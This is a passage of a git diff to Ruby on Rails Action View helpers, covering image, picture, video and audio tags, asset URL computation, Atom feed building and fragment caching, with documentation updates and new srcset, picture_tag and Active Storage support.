-      #   +source+ is used (capitalized and without the extension)
-      # * <tt>:size</tt> - Supplied as "{Width}x{Height}" or "{Number}", so "30x45" becomes
-      #   width="30" and height="45", and "50" becomes width="50" and height="50".
+      # * <tt>:size</tt> - Supplied as <tt>"#{width}x#{height}"</tt> or <tt>"#{number}"</tt>, so <tt>"30x45"</tt> becomes
+      #   <tt>width="30" height="45"</tt>, and <tt>"50"</tt> becomes <tt>width="50" height="50"</tt>.
       #   <tt>:size</tt> will be ignored if the value is not in the correct format.
+      # * <tt>:srcset</tt> - If supplied as a hash or array of <tt>[source, descriptor]</tt>
+      #   pairs, each image path will be expanded before the list is formatted as a string.
       #
       # ==== Examples
       #
+      # Assets (images that are part of your app):
+      #
       #   image_tag("icon")
-      #   # => <img alt="Icon" src="/assets/icon" />
+      #   # => <img src="/assets/icon" />
       #   image_tag("icon.png")
-      #   # => <img alt="Icon" src="/assets/icon.png" />
+      #   # => <img src="/assets/icon.png" />
       #   image_tag("icon.png", size: "16x10", alt: "Edit Entry")
       #   # => <img src="/assets/icon.png" width="16" height="10" alt="Edit Entry" />
       #   image_tag("/icons/icon.gif", size: "16")
-      #   # => <img src="/icons/icon.gif" width="16" height="16" alt="Icon" />
+      #   # => <img src="/icons/icon.gif" width="16" height="16" />
       #   image_tag("/icons/icon.gif", height: '32', width: '32')
-      #   # => <img alt="Icon" height="32" src="/icons/icon.gif" width="32" />
+      #   # => <img height="32" src="/icons/icon.gif" width="32" />
       #   image_tag("/icons/icon.gif", class: "menu_icon")
-      #   # => <img alt="Icon" class="menu_icon" src="/icons/icon.gif" />
+      #   # => <img class="menu_icon" src="/icons/icon.gif" />
       #   image_tag("/icons/icon.gif", data: { title: 'Rails Application' })
       #   # => <img data-title="Rails Application" src="/icons/icon.gif" />
+      #   image_tag("icon.png", srcset: { "icon_2x.png" => "2x", "icon_4x.png" => "4x" })
+      #   # => <img src="/assets/icon.png" srcset="/assets/icon_2x.png 2x, /assets/icon_4x.png 4x">
+      #   image_tag("pic.jpg", srcset: [["pic_1024.jpg", "1024w"], ["pic_1980.jpg", "1980w"]], sizes: "100vw")
+      #   # => <img src="/assets/pic.jpg" srcset="/assets/pic_1024.jpg 1024w, /assets/pic_1980.jpg 1980w" sizes="100vw">
+      #
+      # Active Storage blobs (images that are uploaded by the users of your app):
+      #
+      #   image_tag(user.avatar)
+      #   # => <img src="/rails/active_storage/blobs/.../tiger.jpg" />
+      #   image_tag(user.avatar.variant(resize_to_limit: [100, 100]))
+      #   # => <img src="/rails/active_storage/representations/.../tiger.jpg" />
+      #   image_tag(user.avatar.variant(resize_to_limit: [100, 100]), size: '100')
+      #   # => <img width="100" height="100" src="/rails/active_storage/representations/.../tiger.jpg" />
       def image_tag(source, options = {})
         options = options.symbolize_keys
         check_for_image_tag_errors(options)
+        skip_pipeline = options.delete(:skip_pipeline)
 
-        src = options[:src] = path_to_image(source, skip_pipeline: options.delete(:skip_pipeline))
+        options[:src] = resolve_asset_source("image", source, skip_pipeline)
 
-        unless src.start_with?("cid:") || src.start_with?("data:") || src.blank?
-          options[:alt] = options.fetch(:alt) { image_alt(src) }
+        if options[:srcset] && !options[:srcset].is_a?(String)
+          options[:srcset] = options[:srcset].map do |src_path, size|
+            src_path = path_to_image(src_path, skip_pipeline: skip_pipeline)
+            "#{src_path} #{size}"
+          end.join(", ")
         end
 
         options[:width], options[:height] = extract_dimensions(options.delete(:size)) if options[:size]
+
+        options[:loading] ||= image_loading if image_loading
+        options[:decoding] ||= image_decoding if image_decoding
+
         tag("img", options)
       end
 
-      # Returns a string suitable for an HTML image tag alt attribute.
-      # The +src+ argument is meant to be an image file path.
-      # The method removes the basename of the file path and the digest,
-      # if any. It also removes hyphens and underscores from file names and
-      # replaces them with spaces, returning a space-separated, titleized
-      # string.
+      # Returns an HTML picture tag for the +sources+. If +sources+ is a string,
+      # a single picture tag will be returned. If +sources+ is an array, a picture
+      # tag with nested source tags for each source will be returned. The
+      # +sources+ can be full paths, files that exist in your public images
+      # directory, or Active Storage attachments. Since the picture tag requires
+      # an img tag, the last element you provide will be used for the img tag.
+      # For complete control over the picture tag, a block can be passed, which
+      # will populate the contents of the tag accordingly.
       #
-      # ==== Examples
+      # ==== Options
       #
-      #   image_alt('rails.png')
-      #   # => Rails
+      # When the last parameter is a hash you can add HTML attributes using that
+      # parameter. Apart from all the HTML supported options, the following are supported:
+      #
+      # * <tt>:image</tt> - Hash of options that are passed directly to the +image_tag+ helper.
       #
-      #   image_alt('hyphenated-file-name.png')
-      #   # => Hyphenated file name
+      # ==== Examples
       #
-      #   image_alt('underscored_file_name.png')
-      #   # => Underscored file name
-      def image_alt(src)
-        File.basename(src, ".*".freeze).sub(/-[[:xdigit:]]{32,64}\z/, "".freeze).tr("-_".freeze, " ".freeze).capitalize
+      #   picture_tag("picture.webp")
+      #   # => <picture><img src="/images/picture.webp" /></picture>
+      #   picture_tag("gold.png", :image => { :size => "20" })
+      #   # => <picture><img height="20" src="/images/gold.png" width="20" /></picture>
+      #   picture_tag("gold.png", :image => { :size => "45x70" })
+      #   # => <picture><img height="70" src="/images/gold.png" width="45" /></picture>
+      #   picture_tag("picture.webp", "picture.png")
+      #   # => <picture><source srcset="/images/picture.webp" /><source srcset="/images/picture.png" /><img src="/images/picture.png" /></picture>
+      #   picture_tag("picture.webp", "picture.png", :image => { alt: "Image" })
+      #   # => <picture><source srcset="/images/picture.webp" /><source srcset="/images/picture.png" /><img alt="Image" src="/images/picture.png" /></picture>
+      #   picture_tag(["picture.webp", "picture.png"], :image => { alt: "Image" })
+      #   # => <picture><source srcset="/images/picture.webp" /><source srcset="/images/picture.png" /><img alt="Image" src="/images/picture.png" /></picture>
+      #   picture_tag(:class => "my-class") { tag(:source, :srcset => image_path("picture.webp")) + image_tag("picture.png", :alt => "Image") }
+      #   # => <picture class="my-class"><source srcset="/images/picture.webp" /><img alt="Image" src="/images/picture.png" /></picture>
+      #   picture_tag { tag(:source, :srcset => image_path("picture-small.webp"), :media => "(min-width: 600px)") + tag(:source, :srcset => image_path("picture-big.webp")) + image_tag("picture.png", :alt => "Image") }
+      #   # => <picture><source srcset="/images/picture-small.webp" media="(min-width: 600px)" /><source srcset="/images/picture-big.webp" /><img alt="Image" src="/images/picture.png" /></picture>
+      #
+      # Active Storage blobs (images that are uploaded by the users of your app):
+      #
+      #   picture_tag(user.profile_picture)
+      #   # => <picture><img src="/rails/active_storage/blobs/.../profile_picture.webp" /></picture>
+      def picture_tag(*sources, &block)
+        sources.flatten!
+        options = sources.extract_options!.symbolize_keys
+        image_options = options.delete(:image) || {}
+        skip_pipeline = options.delete(:skip_pipeline)
+
+        content_tag("picture", options) do
+          if block.present?
+            capture(&block).html_safe
+          elsif sources.size <= 1
+            image_tag(sources.last, image_options)
+          else
+            source_tags = sources.map do |source|
+              tag("source",
+               srcset: resolve_asset_source("image", source, skip_pipeline),
+               type: Template::Types[File.extname(source)[1..]]&.to_s)
+            end
+            safe_join(source_tags << image_tag(sources.last, image_options))
+          end
+        end
       end
 
       # Returns an HTML video tag for the +sources+. If +sources+ is a string,
       # a single video tag will be returned. If +sources+ is an array, a video
       # tag with nested source tags for each source will be returned. The
-      # +sources+ can be full paths or files that exists in your public videos
-      # directory.
+      # +sources+ can be full paths, files that exist in your public videos
+      # directory, or Active Storage attachments.
       #
       # ==== Options
-      # You can add HTML attributes using the +options+. The +options+ supports
-      # two additional keys for convenience and conformance:
+      #
+      # When the last parameter is a hash you can add HTML attributes using that
+      # parameter. The following options are supported:
       #
       # * <tt>:poster</tt> - Set an image (like a screenshot) to be shown
       #   before the video loads. The path is calculated like the +src+ of +image_tag+.
-      # * <tt>:size</tt> - Supplied as "{Width}x{Height}" or "{Number}", so "30x45" becomes
-      #   width="30" and height="45", and "50" becomes width="50" and height="50".
+      # * <tt>:size</tt> - Supplied as <tt>"#{width}x#{height}"</tt> or <tt>"#{number}"</tt>, so <tt>"30x45"</tt> becomes
+      #   <tt>width="30" height="45"</tt>, and <tt>"50"</tt> becomes <tt>width="50" height="50"</tt>.
       #   <tt>:size</tt> will be ignored if the value is not in the correct format.
       # * <tt>:poster_skip_pipeline</tt> will bypass the asset pipeline when using
       #   the <tt>:poster</tt> option instead using an asset in the public folder.
@@ -285,7 +555,7 @@ def image_alt(src)
       #   video_tag("trailer.ogg")
       #   # => <video src="/videos/trailer.ogg"></video>
       #   video_tag("trailer.ogg", controls: true, preload: 'none')
-      #   # => <video preload="none" controls="controls" src="/videos/trailer.ogg" ></video>
+      #   # => <video preload="none" controls="controls" src="/videos/trailer.ogg"></video>
       #   video_tag("trailer.m4v", size: "16x10", poster: "screenshot.png")
       #   # => <video src="/videos/trailer.m4v" width="16" height="10" poster="/assets/screenshot.png"></video>
       #   video_tag("trailer.m4v", size: "16x10", poster: "screenshot.png", poster_skip_pipeline: true)
@@ -302,6 +572,11 @@ def image_alt(src)
       #   # => <video><source src="/videos/trailer.ogg" /><source src="/videos/trailer.flv" /></video>
       #   video_tag(["trailer.ogg", "trailer.flv"], size: "160x120")
       #   # => <video height="120" width="160"><source src="/videos/trailer.ogg" /><source src="/videos/trailer.flv" /></video>
+      #
+      # Active Storage blobs (videos that are uploaded by the users of your app):
+      #
+      #   video_tag(user.intro_video)
+      #   # => <video src="/rails/active_storage/blobs/.../intro_video.mp4"></video>
       def video_tag(*sources)
         options = sources.extract_options!.symbolize_keys
         public_poster_folder = options.delete(:poster_skip_pipeline)
@@ -312,9 +587,14 @@ def video_tag(*sources)
         end
       end
 
-      # Returns an HTML audio tag for the +source+.
-      # The +source+ can be full path or file that exists in
-      # your public audios directory.
+      # Returns an HTML audio tag for the +sources+. If +sources+ is a string,
+      # a single audio tag will be returned. If +sources+ is an array, an audio
+      # tag with nested source tags for each source will be returned. The
+      # +sources+ can be full paths, files that exist in your public audios
+      # directory, or Active Storage attachments.
+      #
+      # When the last parameter is a hash you can add HTML attributes using that
+      # parameter.
       #
       #   audio_tag("sound")
       #   # => <audio src="/audios/sound"></audio>
@@ -324,6 +604,11 @@ def video_tag(*sources)
       #   # => <audio autoplay="autoplay" controls="controls" src="/audios/sound.wav"></audio>
       #   audio_tag("sound.wav", "sound.mid")
       #   # => <audio><source src="/audios/sound.wav" /><source src="/audios/sound.mid" /></audio>
+      #
+      # Active Storage blobs (audios that are uploaded by the users of your app):
+      #
+      #   audio_tag(user.name_pronunciation_audio)
+      #   # => <audio src="/rails/active_storage/blobs/.../name_pronunciation_audio.mp3"></audio>
       def audio_tag(*sources)
         multiple_sources_tag_builder("audio", sources)
       end
@@ -338,19 +623,29 @@ def multiple_sources_tag_builder(type, sources)
 
           if sources.size > 1
             content_tag(type, options) do
-              safe_join sources.map { |source| tag("source", src: send("path_to_#{type}", source, skip_pipeline: skip_pipeline)) }
+              safe_join sources.map { |source| tag("source", src: resolve_asset_source(type, source, skip_pipeline)) }
             end
           else
-            options[:src] = send("path_to_#{type}", sources.first, skip_pipeline: skip_pipeline)
+            options[:src] = resolve_asset_source(type, sources.first, skip_pipeline)
             content_tag(type, nil, options)
           end
         end
 
+        def resolve_asset_source(asset_type, source, skip_pipeline)
+          if source.is_a?(Symbol) || source.is_a?(String)
+            path_to_asset(source, type: asset_type.to_sym, skip_pipeline: skip_pipeline)
+          else
+            polymorphic_url(source)
+          end
+        rescue NoMethodError => e
+          raise ArgumentError, "Can't resolve #{asset_type} into URL: #{e}"
+        end
+
         def extract_dimensions(size)
           size = size.to_s
-          if /\A\d+x\d+\z/.match?(size)
+          if /\A\d+(?:\.\d+)?x\d+(?:\.\d+)?\z/.match?(size)
             size.split("x")
-          elsif /\A\d+\z/.match?(size)
+          elsif /\A\d+(?:\.\d+)?\z/.match?(size)
             [size, size]
           end
         end
@@ -360,6 +655,45 @@ def check_for_image_tag_errors(options)
             raise ArgumentError, "Cannot pass a :size option with a :height or :width option"
           end
         end
+
+        def resolve_link_as(extname, mime_type)
+          case extname
+          when "js"  then "script"
+          when "css" then "style"
+          when "vtt" then "track"
+          else
+            mime_type.to_s.split("/").first.presence_in(%w(audio video font image))
+          end
+        end
+
+        # Some HTTP client and proxies have a 4kiB header limit, but more importantly
+        # including preload links has diminishing returns so it's best to not go overboard
+        MAX_HEADER_SIZE = 1_000 # :nodoc:
+
+        def send_preload_links_header(preload_links, max_header_size: MAX_HEADER_SIZE)
+          return if preload_links.empty?
+          response_present = respond_to?(:response) && response
+          return if response_present && response.sending?
+
+          if respond_to?(:request) && request
+            request.send_early_hints("link" => preload_links.join(","))
+          end
+
+          if response_present
+            header = +response.headers["link"].to_s
+            preload_links.each do |link|
+              break if header.bytesize + link.bytesize > max_header_size
+
+              if header.empty?
+                header << link
+              else
+                header << "," << link
+              end
+            end
+
+            response.headers["link"] = header
+          end
+        end
     end
   end
 end
diff --git a/actionview/lib/action_view/helpers/asset_url_helper.rb b/actionview/lib/action_view/helpers/asset_url_helper.rb
index 03bd1eb008998..d1b4347e0002b 100644
--- a/actionview/lib/action_view/helpers/asset_url_helper.rb
+++ b/actionview/lib/action_view/helpers/asset_url_helper.rb
@@ -1,10 +1,13 @@
+# frozen_string_literal: true
+
 require "zlib"
 
 module ActionView
-  # = Action View Asset URL Helpers
-  module Helpers
+  module Helpers # :nodoc:
+    # = Action View Asset URL \Helpers
+    #
     # This module provides methods for generating asset paths and
-    # urls.
+    # URLs.
     #
     #   image_path("rails.png")
     #   # => "/assets/rails.png"
@@ -14,8 +17,8 @@ module Helpers
     #
     # === Using asset hosts
     #
-    # By default, Rails links to these assets on the current host in the public
-    # folder, but you can direct Rails to link to assets from a dedicated asset
+    # By default, \Rails links to these assets on the current host in the public
+    # folder, but you can direct \Rails to link to assets from a dedicated asset
     # server by setting <tt>ActionController::Base.asset_host</tt> in the application
     # configuration, typically in <tt>config/environments/production.rb</tt>.
     # For example, you'd define <tt>assets.example.com</tt> to be your asset
@@ -27,9 +30,9 @@ module Helpers
     # Helpers take that into account:
     #
     #   image_tag("rails.png")
-    #   # => <img alt="Rails" src="http://assets.example.com/assets/rails.png" />
+    #   # => <img src="http://assets.example.com/assets/rails.png" />
     #   stylesheet_link_tag("application")
-    #   # => <link href="http://assets.example.com/assets/application.css" media="screen" rel="stylesheet" />
+    #   # => <link href="http://assets.example.com/assets/application.css" rel="stylesheet" />
     #
     # Browsers open a limited number of simultaneous connections to a single
     # host. The exact number varies by browser and version. This limit may cause
@@ -40,9 +43,9 @@ module Helpers
     # "assets0.example.com", ..., "assets3.example.com".
     #
     #   image_tag("rails.png")
-    #   # => <img alt="Rails" src="http://assets0.example.com/assets/rails.png" />
+    #   # => <img src="http://assets0.example.com/assets/rails.png" />
     #   stylesheet_link_tag("application")
-    #   # => <link href="http://assets2.example.com/assets/application.css" media="screen" rel="stylesheet" />
+    #   # => <link href="http://assets2.example.com/assets/application.css" rel="stylesheet" />
     #
     # This may improve the asset loading performance of your application.
     # It is also possible the combination of additional connection overhead
@@ -50,25 +53,25 @@ module Helpers
     # solution being slower. You should be sure to measure your actual
     # performance across targeted browsers both before and after this change.
     #
-    # To implement the corresponding hosts you can either setup four actual
+    # To implement the corresponding hosts you can either set up four actual
     # hosts or use wildcard DNS to CNAME the wildcard to a single asset host.
     # You can read more about setting up your DNS CNAME records from your ISP.
     #
     # Note: This is purely a browser performance optimization and is not meant
-    # for server load balancing. See http://www.die.net/musings/page_load_time/
-    # for background and http://www.browserscope.org/?category=network for
+    # for server load balancing. See https://www.die.net/musings/page_load_time/
+    # for background and https://www.browserscope.org/?category=network for
     # connection limit data.
     #
     # Alternatively, you can exert more control over the asset host by setting
     # +asset_host+ to a proc like this:
     #
     #   ActionController::Base.asset_host = Proc.new { |source|
-    #     "http://assets#{Digest::MD5.hexdigest(source).to_i(16) % 2 + 1}.example.com"
+    #     "http://assets#{OpenSSL::Digest::SHA256.hexdigest(source).to_i(16) % 2 + 1}.example.com"
     #   }
     #   image_tag("rails.png")
-    #   # => <img alt="Rails" src="http://assets1.example.com/assets/rails.png" />
+    #   # => <img src="http://assets1.example.com/assets/rails.png" />
     #   stylesheet_link_tag("application")
-    #   # => <link href="http://assets2.example.com/assets/application.css" media="screen" rel="stylesheet" />
+    #   # => <link href="http://assets2.example.com/assets/application.css" rel="stylesheet" />
     #
     # The example above generates "http://assets1.example.com" and
     # "http://assets2.example.com". This option is useful for example if
@@ -78,16 +81,16 @@ module Helpers
     # absolute path of the asset, for example "/assets/rails.png".
     #
     #    ActionController::Base.asset_host = Proc.new { |source|
-    #      if source.ends_with?('.css')
+    #      if source.end_with?('.css')
     #        "http://stylesheets.example.com"
     #      else
     #        "http://assets.example.com"
     #      end
     #    }
     #   image_tag("rails.png")
-    #   # => <img alt="Rails" src="http://assets.example.com/assets/rails.png" />
+    #   # => <img src="http://assets.example.com/assets/rails.png" />
     #   stylesheet_link_tag("application")
-    #   # => <link href="http://stylesheets.example.com/assets/application.css" media="screen" rel="stylesheet" />
+    #   # => <link href="http://stylesheets.example.com/assets/application.css" rel="stylesheet" />
     #
     # Alternatively you may ask for a second parameter +request+. That one is
     # particularly useful for serving assets from an SSL-protected page. The
@@ -95,9 +98,10 @@ module Helpers
     # still sending assets for plain HTTP requests from asset hosts. If you don't
     # have SSL certificates for each of the asset hosts this technique allows you
     # to avoid warnings in the client about mixed media.
-    # Note that the request parameter might not be supplied, e.g. when the assets
-    # are precompiled via a Rake task. Make sure to use a +Proc+ instead of a lambda,
-    # since a +Proc+ allows missing parameters and sets them to +nil+.
+    # Note that the +request+ parameter might not be supplied, e.g. when the assets
+    # are precompiled with the command <tt>bin/rails assets:precompile</tt>. Make sure to use a
+    # +Proc+ instead of a lambda, since a +Proc+ allows missing parameters and sets them
+    # to +nil+.
     #
     #   config.action_controller.asset_host = Proc.new { |source, request|
     #     if request && request.ssl?
@@ -118,7 +122,7 @@ module AssetUrlHelper
       URI_REGEXP = %r{^[-a-z]+://|^(?:cid|data):|^//}i
 
       # This is the entry point for all assets.
-      # When using the asset pipeline (i.e. sprockets and sprockets-rails), the
+      # When using an asset pipeline gem (e.g. propshaft or sprockets-rails), the
       # behavior is "enhanced". You can bypass the asset pipeline by passing in
       # <tt>skip_pipeline: true</tt> to the options.
       #
@@ -127,9 +131,11 @@ module AssetUrlHelper
       # === With the asset pipeline
       #
       # All options passed to +asset_path+ will be passed to +compute_asset_path+
-      # which is implemented by sprockets-rails.
+      # which is implemented by asset pipeline gems.
       #
       #   asset_path("application.js") # => "/assets/application-60aa4fdc5cea14baf5400fba1abf4f2a46a5166bad4772b1effe341570f07de9.js"
+      #   asset_path('application.js', host: 'example.com') # => "//example.com/assets/application.js"
+      #   asset_path("application.js", host: 'example.com', protocol: 'https') # => "https://example.com/assets/application.js"
       #
       # === Without the asset pipeline (<tt>skip_pipeline: true</tt>)
       #
@@ -147,13 +153,13 @@ module AssetUrlHelper
       # Below lists scenarios that apply to +asset_path+ whether or not you're
       # using the asset pipeline.
       #
-      # - All fully qualified urls are returned immediately. This bypasses the
+      # - All fully qualified URLs are returned immediately. This bypasses the
       #   asset pipeline and all other behavior described.
       #
       #     asset_path("http://www.example.com/js/xmlhr.js") # => "http://www.example.com/js/xmlhr.js"
       #
       # - All assets that begin with a forward slash are assumed to be full
-      #   urls and will not be expanded. This will bypass the asset pipeline.
+      #   URLs and will not be expanded. This will bypass the asset pipeline.
       #
       #     asset_path("/foo.png") # => "/foo.png"
       #
@@ -185,13 +191,13 @@ def asset_path(source, options = {})
         return "" if source.blank?
         return source if URI_REGEXP.match?(source)
 
-        tail, source = source[/([\?#].+)$/], source.sub(/([\?#].+)$/, "".freeze)
+        tail, source = source[/([?#].+)$/], source.sub(/([?#].+)$/, "")
 
         if extname = compute_asset_extname(source, options)
           source = "#{source}#{extname}"
         end
 
-        if source[0] != ?/
+        unless source.start_with?(?/)
           if options[:skip_pipeline]
             source = public_compute_asset_path(source, options)
           else
@@ -201,7 +207,7 @@ def asset_path(source, options = {})
 
         relative_url_root = defined?(config.relative_url_root) && config.relative_url_root
         if relative_url_root
-          source = File.join(relative_url_root, source) unless source.starts_with?("#{relative_url_root}/")
+          source = File.join(relative_url_root, source) unless source.start_with?("#{relative_url_root}/")
         end
 
         if host = compute_asset_host(source, options)
@@ -214,7 +220,7 @@ def asset_path(source, options = {})
 
       # Computes the full URL to an asset in the public directory. This
       # will use +asset_path+ internally, so most of their behaviors
-      # will be the same. If :host options is set, it overwrites global
+      # will be the same. If +:host+ options is set, it overwrites global
       # +config.action_controller.asset_host+ setting.
       #
       # All other options provided are forwarded to +asset_path+ call.
@@ -319,10 +325,10 @@ def javascript_path(source, options = {})
 
       # Computes the full URL to a JavaScript asset in the public javascripts directory.
       # This will use +javascript_path+ internally, so most of their behaviors will be the same.
-      # Since +javascript_url+ is based on +asset_url+ method you can set :host options. If :host
+      # Since +javascript_url+ is based on +asset_url+ method you can set +:host+ options. If +:host+
       # options is set, it overwrites global +config.action_controller.asset_host+ setting.
       #
-      #   javascript_url "js/xmlhr.js", host: "http://stage.example.com" # => http://stage.example.com/assets/dir/xmlhr.js
+      #   javascript_url "js/xmlhr.js", host: "http://stage.example.com" # => http://stage.example.com/assets/js/xmlhr.js
       #
       def javascript_url(source, options = {})
         url_to_asset(source, { type: :javascript }.merge!(options))
@@ -346,10 +352,10 @@ def stylesheet_path(source, options = {})
 
       # Computes the full URL to a stylesheet asset in the public stylesheets directory.
       # This will use +stylesheet_path+ internally, so most of their behaviors will be the same.
-      # Since +stylesheet_url+ is based on +asset_url+ method you can set :host options. If :host
+      # Since +stylesheet_url+ is based on +asset_url+ method you can set +:host+ options. If +:host+
       # options is set, it overwrites global +config.action_controller.asset_host+ setting.
       #
-      #   stylesheet_url "css/style.css", host: "http://stage.example.com" # => http://stage.example.com/css/style.css
+      #   stylesheet_url "css/style.css", host: "http://stage.example.com" # => http://stage.example.com/assets/css/style.css
       #
       def stylesheet_url(source, options = {})
         url_to_asset(source, { type: :stylesheet }.merge!(options))
@@ -367,7 +373,7 @@ def stylesheet_url(source, options = {})
       #   image_path("http://www.example.com/img/edit.png")          # => "http://www.example.com/img/edit.png"
       #
       # If you have images as application resources this method may conflict with their named routes.
-      # The alias +path_to_image+ is provided to avoid that. Rails uses the alias internally, and
+      # The alias +path_to_image+ is provided to avoid that. \Rails uses the alias internally, and
       # plugin authors are encouraged to do so.
       def image_path(source, options = {})
         path_to_asset(source, { type: :image }.merge!(options))
@@ -376,10 +382,10 @@ def image_path(source, options = {})
 
       # Computes the full URL to an image asset.
       # This will use +image_path+ internally, so most of their behaviors will be the same.
-      # Since +image_url+ is based on +asset_url+ method you can set :host options. If :host
+      # Since +image_url+ is based on +asset_url+ method you can set +:host+ options. If +:host+
       # options is set, it overwrites global +config.action_controller.asset_host+ setting.
       #
-      #   image_url "edit.png", host: "http://stage.example.com" # => http://stage.example.com/edit.png
+      #   image_url "edit.png", host: "http://stage.example.com" # => http://stage.example.com/assets/edit.png
       #
       def image_url(source, options = {})
         url_to_asset(source, { type: :image }.merge!(options))
@@ -402,10 +408,10 @@ def video_path(source, options = {})
 
       # Computes the full URL to a video asset in the public videos directory.
       # This will use +video_path+ internally, so most of their behaviors will be the same.
-      # Since +video_url+ is based on +asset_url+ method you can set :host options. If :host
+      # Since +video_url+ is based on +asset_url+ method you can set +:host+ options. If +:host+
       # options is set, it overwrites global +config.action_controller.asset_host+ setting.
       #
-      #   video_url "hd.avi", host: "http://stage.example.com" # => http://stage.example.com/hd.avi
+      #   video_url "hd.avi", host: "http://stage.example.com" # => http://stage.example.com/videos/hd.avi
       #
       def video_url(source, options = {})
         url_to_asset(source, { type: :video }.merge!(options))
@@ -428,10 +434,10 @@ def audio_path(source, options = {})
 
       # Computes the full URL to an audio asset in the public audios directory.
       # This will use +audio_path+ internally, so most of their behaviors will be the same.
-      # Since +audio_url+ is based on +asset_url+ method you can set :host options. If :host
+      # Since +audio_url+ is based on +asset_url+ method you can set +:host+ options. If +:host+
       # options is set, it overwrites global +config.action_controller.asset_host+ setting.
       #
-      #   audio_url "horse.wav", host: "http://stage.example.com" # => http://stage.example.com/horse.wav
+      #   audio_url "horse.wav", host: "http://stage.example.com" # => http://stage.example.com/audios/horse.wav
       #
       def audio_url(source, options = {})
         url_to_asset(source, { type: :audio }.merge!(options))
@@ -453,10 +459,10 @@ def font_path(source, options = {})
 
       # Computes the full URL to a font asset.
       # This will use +font_path+ internally, so most of their behaviors will be the same.
-      # Since +font_url+ is based on +asset_url+ method you can set :host options. If :host
+      # Since +font_url+ is based on +asset_url+ method you can set +:host+ options. If +:host+
       # options is set, it overwrites global +config.action_controller.asset_host+ setting.
       #
-      #   font_url "font.ttf", host: "http://stage.example.com" # => http://stage.example.com/font.ttf
+      #   font_url "font.ttf", host: "http://stage.example.com" # => http://stage.example.com/fonts/font.ttf
       #
       def font_url(source, options = {})
         url_to_asset(source, { type: :font }.merge!(options))
diff --git a/actionview/lib/action_view/helpers/atom_feed_helper.rb b/actionview/lib/action_view/helpers/atom_feed_helper.rb
index 3538515aee747..a1eeee93ef971 100644
--- a/actionview/lib/action_view/helpers/atom_feed_helper.rb
+++ b/actionview/lib/action_view/helpers/atom_feed_helper.rb
@@ -1,8 +1,8 @@
-require "set"
+# frozen_string_literal: true
 
 module ActionView
-  # = Action View Atom Feed Helpers
-  module Helpers
+  module Helpers # :nodoc:
+    # = Action View Atom Feed \Helpers
     module AtomFeedHelper
       # Adds easy defaults to writing Atom feeds with the Builder template engine (this does not work on ERB or any other
       # template languages).
@@ -80,9 +80,9 @@ module AtomFeedHelper
       #     end
       #
       # The Atom spec defines five elements (content rights title subtitle
-      # summary) which may directly contain xhtml content if type: 'xhtml'
+      # summary) which may directly contain XHTML content if type: 'xhtml'
       # is specified as an attribute. If so, this helper will take care of
-      # the enclosing div and xhtml namespace declaration. Example usage:
+      # the enclosing div and XHTML namespace declaration. Example usage:
       #
       #    entry.summary type: 'xhtml' do |xhtml|
       #      xhtml.p pluralize(order.line_items.count, "line item")
@@ -100,7 +100,7 @@ def atom_feed(options = {}, &block)
           options[:schema_date] = "2005" # The Atom spec copyright date
         end
 
-        xml = options.delete(:xml) || eval("xml", block.binding)
+        xml = options.delete(:xml) || block.binding.local_variable_get(:xml)
         xml.instruct!
         if options[:instruct]
           options[:instruct].each do |target, attrs|
@@ -113,7 +113,7 @@ def atom_feed(options = {}, &block)
         end
 
         feed_opts = { "xml:lang" => options[:language] || "en-US", "xmlns" => "http://www.w3.org/2005/Atom" }
-        feed_opts.merge!(options).reject! { |k, v| !k.to_s.match(/^xml/) }
+        feed_opts.merge!(options).select! { |k, _| k.start_with?("xml") }
 
         xml.feed(feed_opts) do
           xml.id(options[:id] || "tag:#{request.host},#{options[:schema_date]}:#{request.fullpath.split(".")[0]}")
@@ -124,7 +124,7 @@ def atom_feed(options = {}, &block)
         end
       end
 
-      class AtomBuilder #:nodoc:
+      class AtomBuilder # :nodoc:
         XHTML_TAG_NAMES = %w(content rights title subtitle summary).to_set
 
         def initialize(xml)
@@ -132,7 +132,7 @@ def initialize(xml)
         end
 
         private
-          # Delegate to xml builder, first wrapping the element in an xhtml
+          # Delegate to XML Builder, first wrapping the element in an XHTML
           # namespaced div element if the method and arguments indicate
           # that an xhtml_block? is desired.
           def method_missing(method, *arguments, &block)
@@ -158,7 +158,7 @@ def xhtml_block?(method, arguments)
           end
       end
 
-      class AtomFeedBuilder < AtomBuilder #:nodoc:
+      class AtomFeedBuilder < AtomBuilder # :nodoc:
         def initialize(xml, view, feed_options = {})
           @xml, @view, @feed_options = xml, view, feed_options
         end
@@ -170,7 +170,7 @@ def updated(date_or_time = nil)
 
         # Creates an entry tag for a specific record and prefills the id using class and id.
         #
-        # Options:
+        # ==== Options
         #
         # * <tt>:published</tt>: Time first published. Defaults to the created_at attribute on the record if one such exists.
         # * <tt>:updated</tt>: Time of update. Defaults to the updated_at attribute on the record if one such exists.
diff --git a/actionview/lib/action_view/helpers/cache_helper.rb b/actionview/lib/action_view/helpers/cache_helper.rb
index 15ab7e304faa3..15a31e9256a65 100644
--- a/actionview/lib/action_view/helpers/cache_helper.rb
+++ b/actionview/lib/action_view/helpers/cache_helper.rb
@@ -1,17 +1,20 @@
+# frozen_string_literal: true
+
 module ActionView
-  # = Action View Cache Helper
-  module Helpers
+  module Helpers # :nodoc:
+    # = Action View Cache \Helpers
     module CacheHelper
+      class UncacheableFragmentError < StandardError; end
+
       # This helper exposes a method for caching fragments of a view
       # rather than an entire action or page. This technique is useful
       # caching pieces like menus, lists of new topics, static HTML
       # fragments, and so on. This method takes a block that contains
       # the content you wish to cache.
       #
-      # The best way to use this is by doing key-based cache expiration
-      # on top of a cache store like Memcached that'll automatically
-      # kick out old entries. For more on key-based expiration, see:
-      # http://signalvnoise.com/posts/3113-how-key-based-cache-expiration-works
+      # The best way to use this is by doing recyclable key-based cache expiration
+      # on top of a cache store like Memcached or Redis that'll automatically
+      # kick out old entries.
       #
       # When using this method, you list the cache dependency as the name of the cache, like so:
       #
@@ -23,10 +26,14 @@ module CacheHelper
       # This approach will assume that when a new topic is added, you'll touch
       # the project. The cache key generated from this call will be something like:
       #
-      #   views/projects/123-20120806214154/7a1156131a6928cb0026877f8b749ac9
-      #         ^class   ^id ^updated_at    ^template tree digest
+      #   views/template/action:7a1156131a6928cb0026877f8b749ac9/projects/123
+      #         ^template path  ^template tree digest            ^class   ^id
       #
-      # The cache is thus automatically bumped whenever the project updated_at is touched.
+      # This cache key is stable, but it's combined with a cache version derived from the project
+      # record. When the project updated_at is touched, the #cache_version changes, even
+      # if the key stays stable. This means that unlike a traditional key-based cache expiration
+      # approach, you won't be generating cache trash, unused keys, simply because the dependent
+      # record is updated.
       #
       # If your template cache depends on multiple sources (try to avoid this to keep things simple),
